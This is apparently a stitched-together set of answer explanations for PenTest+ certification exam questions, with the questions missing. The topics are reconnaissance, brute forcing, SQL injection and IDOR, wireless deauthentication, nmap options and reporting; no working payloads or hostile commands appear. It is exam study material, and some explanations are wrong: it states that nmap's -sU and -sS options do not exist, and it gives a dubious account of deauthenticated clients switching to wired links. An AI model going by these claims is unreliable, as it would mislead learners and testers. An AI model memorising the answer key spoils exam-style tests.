Code repositories are online platforms that store and manage source code and other files related to software development projects. Code repositories can contain useful information for additional testing, such as application names, versions, features, functions, vulnerabilities, dependencies, credentials, comments, or documentation. Searching for code repositories associated with the target company’s organization would most likely produce useful information for additional testing, as it would reveal the software projects that the target company is working on or using, and potentially expose some weaknesses or flaws that can be exploited. Code repositories can be searched by using tools such as GitHub, GitLab, Bitbucket, or SourceForge1. The other options are not as likely to produce useful information for additional testing, as they are not directly related to the target company’s software development activities. Searching for code repositories associated with a developer who previously worked for the target company may not yield any relevant or current information, as the developer may have deleted, moved, or updated their code repositories after leaving the company. Searching for code repositories associated with the target company’s competitors or customers may not yield any useful or accessible information, as they may have different or unrelated software projects, or they may have restricted or protected their code repositories from public view.

 The output shows the result of a ping command, which sends packets to a host and receives replies. The ping command can be used to determine if a host is alive and reachable on the network. One of the information that the ping command displays is the Time to Live (TTL) value, which indicates how many hops a packet can travel before it is discarded. The TTL value can also be used to guess the operating system of the host, as different operating systems have different default TTL values. In this case, the TTL value is 128, which is the default value for Windows operating systems. Linux and macOS have a default TTL value of 64, while NetBSD has a default TTL value of 255.

Port randomization is widely used in port scanners. By default, Nmap randomizes the scanned port order (except that certain commonly accessible ports are moved near the beginning for efficiency reasons) https://nmap.org/book/man-port-specification.html

https://www.techtarget.com/searchsecurity/definition/side-ch annel-attack#:~:text=Side%2Dchannel%20attacks%20can%20even,share%20the%20same%20physical%20hardware

 The penetration tester is using a password brute force attack, which is a type of password guessing attack that involves trying many possible combinations of passwords against a single username or account. A password brute force attack can be effective when the password is known to be weak, simple, or predictable, such as a default or temporary password. In this case, the penetration tester knows that the help desk analysts change users’ passwords to 123change when they request password resets, and decides to brute force the webmail with this password and a list of usernames. A password brute force attack can be done by using tools such as Hydra, which can perform parallelized login attacks against various protocols and services1. The other options are not techniques that the penetration tester is using. SQL injection is a type of attack that exploits a vulnerability in a web application that allows an attacker to execute malicious SQL statements on a database server. Password spraying is a type of password guessing attack that involves trying one or a few common passwords against many usernames or accounts. Kerberoasting is a type of attack that exploits a vulnerability in the Kerberos authentication protocol that allows an attacker to request and crack service tickets for service accounts with weak passwords.

SQL injection is a type of attack that exploits a vulnerability in a web application that allows an attacker to execute malicious SQL statements on a database server. SQL injection can result in data theft, data corruption, authentication bypass, or command execution. To mitigate SQL injection vulnerabilities, the following remediation techniques are recommended:

Users’ input validation: This involves checking and sanitizing the user input before passing it to the database server. Input validation can prevent malicious or unexpected input from reaching the database server and causing harm. Input validation can be done by using whitelists, blacklists, regular expressions, or escaping mechanisms.

Parameterized queries: This involves using placeholders or parameters for user input instead of concatenating it with the SQL statement. Parameterized queries can separate the user input from the SQL logic and prevent it from being interpreted as part of the SQL statement. Parameterized queries can be implemented by using prepared statements, stored procedures, or frameworks that support them. The other options are not relevant or effective remediation techniques for SQL injection vulnerabilities.

These two payloads are most likely to establish a shell successfully because they use HTTP or HTTPS protocols, which are commonly allowed by network devices and can bypass firewall rules or IPS signatures. The other payloads use TCP protocols, which are more likely to be blocked or detected by network devices.

The attacker is sequentially changing the serviceID parameter in the URL, likely in an attempt to access objects that they are not authorized to see. This is indicative of an attempt to exploit an Insecure Direct Object Reference (IDOR) vulnerability, where unauthorized access to objects can occur by manipulating input or changing parameters in the URL.

An insecure direct object reference (IDOR) vulnerability occurs when an application exposes a reference to an internal object, such as a file, directory, database record, or key, without any proper authorization or validation mechanism. This allows an attacker to manipulate the reference and access other objects that they are not authorized to access. In this case, the attacker was trying to exploit the IDOR vulnerability in the servicestatus.php script, which accepts a serviceID parameter that directly references a service object. By changing the value of the serviceID parameter, the attacker could access different services that they were not supposed to see. References: The Official CompTIA PenTest+ Student Guide (Exam PT0-002) eBook, Chapter 4, Section 4.2.2: Insecure Direct Object References; Best PenTest+ certification study resources and training materials, Section 1: Cross-site Scripting (XSS) Attack.

The best method available to pivot and gain additional access to the network is to span deauthentication packets to the wireless clients. This will cause them to disconnect from their wireless access point and reconnect using their hard-wired connection, which may have less restrictive ACLs. The penetration tester can then capture their traffic or attempt to compromise their systems.

Removing shells: Remove any shell programs installed when performing

the pentest.

Removing tester-created credentials: Be sure to remove any user accounts

created during the pentest. This includes backdoor accounts.

Removing tools: Remove any software tools that were installed on the

customer’s systems that were used to aid in the exploitation of systems.

The /var/log/lastlog file is a log file that stores information about the last user to sign in to the server. This file stores information such as the username, IP address, and timestamp of the last user to sign in to the server. It can be used by a penetration tester to determine the identity of the last user who signed in to the web server, which can be helpful in identifying the user who may have set up the backdoors and other malicious activities.

Goal Reprioritization ▪ Have the goals of the assessment changed? ▪ Has any new information been found that might affect the goal or desired end state? I would also agree with A, because by goal reprioritization you are more likely to find vulnerabilities in this specific segment of critical network, but it is a side effect of goal reprioritization.

One of the factors that a penetration tester would most likely consider when testing at a location is to establish the time of day when a test can occur. This factor can affect the scope, duration, and impact of the test, as well as the availability and response of the client and the testers. Testing at different times of day can have different advantages and disadvantages, such as testing during business hours to simulate realistic scenarios and traffic patterns, or testing after hours to reduce disruption and interference. Testing at different locations may also require adjusting for different time zones and daylight saving times. Establishing the time of day when a test can occur can help plan and coordinate the test effectively and avoid confusion or conflict with the client or other parties involved in the test. The other options are not factors that a penetration tester would most likely consider when testing at a location.

The comment in the final report was intended for C-suite executives, which are senior-level managers or leaders in an organization, such as the chief executive officer (CEO), chief financial officer (CFO), or chief information officer (CIO). C-suite executives are typically interested in high-level summaries or overviews of the penetration test results, such as the percentage of systems affected by a certain vulnerability or risk, the potential impact or cost of a breach, or the recommended actions or priorities for remediation. C-suite executives may not have the technical background or expertise to understand detailed or technical information about the penetration test, such as specific vulnerabilities, exploits, tools, or techniques. The comment in the final report provides a high-level summary of the penetration test result that is relevant and understandable for C-suite executives. The other audiences are not likely to be interested in this comment. Systems administrators are technical staff who are responsible for installing, configuring, maintaining, and securing systems and networks. They would be more interested in detailed or technical information about the penetration test, such as specific vulnerabilities, exploits, tools, or techniques. Data privacy ombudsman is a person who acts as an independent mediator between individuals and organizations regarding data privacy issues or complaints. They would be more interested in information about how the penetration test complied with data privacy laws and regulations, such as GDPR or CCPA. Regulatory officials are authorities who enforce compliance with laws and regulations related to a specific industry or sector, such as finance, health care, or energy. They would be more interested in information about how the penetration test complied with industry-specific standards and frameworks, such as PCI-DSS, HIPAA, or NERC-CIP.

"Exploit Database (ExploitDB) is a repository of exploits for the purpose of public security, and it explains what can be found on the database. The ExploitDB is a very useful resource for identifying possible weaknesses in your network and for staying up to date on current attacks occurring in other networks"

Exploit-DB is a website that collects and archives exploits for various software and hardware products, including network infrastructure devices. Exploit-DB allows users to search for exploits by product name, vendor, type, platform, CVE number, or date. Exploit-DB is a useful resource for obtaining payloads against specific network infrastructure products. Metasploit is a framework that contains many exploits and payloads, but it is not a resource for obtaining them. Shodan is a search engine that scans the internet for devices and services, but it does not provide exploits or payloads. Retina is a vulnerability scanner that identifies weaknesses in network devices, but it does not provide exploits or payloads.

Penetration testing reports contain sensitive information about the vulnerabilities and risks of a customer’s systems and networks. Therefore, penetration testers should respect the confidentiality and privacy of their customers and only share their reports with authorized parties. Penetration testers should also follow the terms and conditions of their contracts with their customers, which may include a period of confidentiality that prohibits them from disclosing any information related to the testing without the customer’s consent.

A vulnerability scan is a type of assessment that helps to identify vulnerabilities in a network or system. It scans systems for potential vulnerabilities, misconfigurations, and outdated software. Based on the output from a vulnerability scan, a penetration tester can identify vulnerabilities that may be exploited to gain access to a system. In this scenario, the output from the penetration testing tool shows that 100 hosts contained findings due to improper patch management. This indicates that the vulnerability scan detected vulnerabilities that could have been prevented through proper patch management. Therefore, the most likely test performed by the penetration tester is a vulnerability scan.

Patch management is the process of identifying, downloading, and installing security patches for a system in order to address new vulnerabilities and software exploits. In the case of EternalBlue, the vulnerability was addressed by Microsoft in the form of a security patch. Installing this patch on the vulnerable host will provide protection from the vulnerability. Additionally, organizations should implement a patch management program to regularly check for and install security patches for the systems in their environment.

Network segmentation (A) can limit the impact of a compromise by separating different parts of the network into smaller, more isolated segments. However, it does not address the vulnerability itself.

Key rotation (B) is the process of periodically changing cryptographic keys, which can help protect against attacks that rely on stolen or compromised keys. However, it is not directly related to the EternalBlue vulnerability.

Encrypted passwords (C) can help protect user credentials in case of a data breach or other compromise, but it does not prevent attackers from exploiting the EternalBlue vulnerability.

Situational awareness is the ability to perceive and understand the environment and events around oneself, and to act accordingly. The penetration tester demonstrated situational awareness by stopping the transfer of PII, which was out of scope and could have violated the ROE or legal and ethical principles. The other options are not relevant to the situation or the decision of the penetration tester.

A red-team assessment is a type of penetration testing that simulates a real-world attack scenario with the goal of accessing specific data or systems. A red-team assessment is different from an unknown-environment assessment, which does not have a predefined objective and focuses on discovering as much information as possible about the target. A known-environment assessment is a type of penetration testing that involves cooperation and communication with the target organization, and may not focus on specific data or systems. A compliance-based assessment is a type of penetration testing that aims to meet certain regulatory or industry standards, and may not focus on specific data or systems.

This URL will attempt a SQL injection attack using a UNION operator to combine the results of two queries into one table. The attacker can use this technique to retrieve data from other tables in the database that are not normally accessible through the web application.

A dictionary is a data structure in Python that stores key-value pairs, where each key is associated with a value. A dictionary is created by enclosing the key-value pairs in curly braces and separating them by commas. A dictionary can be accessed by using the keys as indexes or by using methods such as keys(), values(), or items(). In the code, systems is a dictionary that has four key-value pairs, each representing an IP address and its corresponding operating system. A tuple is a data structure in Python that stores an ordered sequence of immutable values, enclosed in parentheses and separated by commas. A tree is a data structure that consists of nodes connected by edges, forming a hierarchical structure with a root node and leaf nodes. An array is a data structure that stores a collection of elements of the same type in a contiguous memory location.

The command nmap -v -sV -p- 10.10.10.23-28 is a command that performs a port scan using nmap, which is a tool that can perform network scanning and enumeration by sending packets to hosts and analyzing their responses1. The command has the following options:

-v enables verbose mode, which increases the amount of information displayed by nmap

-sV enables version detection, which attempts to determine the version and service of the open ports

-p- specifies that all ports from 1 to 65535 should be scanned

10.10.10.23-28 specifies the range of IP addresses to be scanned The command does not have any option for host discovery, which is a process that determines which hosts are alive or reachable on a network by sending probes such as ICMP echo requests, TCP SYN packets, or ACK packets. Host discovery can help speed up the scan by avoiding scanning hosts that are down or do not respond. However, some hosts may be configured to block or ignore host discovery probes, which can cause nmap to report them as down even if they are up. To avoid this problem, the penetration tester should use the -Pn option, which skips host discovery and assumes that all hosts are up. This option can force nmap to scan all hosts regardless of their response to host discovery probes, and may reveal some hosts that were previously missed. The other options are not valid options that the penetration tester should try next. The -su option does not exist in nmap, and would cause an error. The -sn option performs a ping scan and lists hosts that respond, but it does not scan any ports or services, which is not useful for the penetration test. The -ss option does not exist in nmap, and would cause an error.